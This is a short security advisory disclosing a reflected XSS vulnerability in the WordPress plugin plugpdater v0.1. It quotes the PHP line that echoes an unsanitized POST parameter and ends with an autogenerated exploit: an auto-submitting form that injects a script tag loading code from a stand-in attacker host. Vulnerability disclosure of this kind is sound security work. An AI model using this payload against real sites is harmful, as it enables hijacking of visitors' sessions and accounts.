Advisory #: 997
Title: Reflected XSS in wordpress plugin plugpdater v0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/plugpdater
Downloads: 422
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: plugpdater
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./plugpdater/includes/plugpdater-uploader.php: 24: <form method="post" enctype="multipart/form-data" action="plugins.php?page=plugpdater&action=upload&check-plug=1&plugin=<?php echo $_POST['_plugin_data'];?>&activated=<?php echo $active_plug;?>"> The variable _plugin_data appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./plugpdater/includes/plugpdater-uploader.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/plugpdater/includes/plugpdater-uploader.php method=post> <input type=hidden name=_plugin_data value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>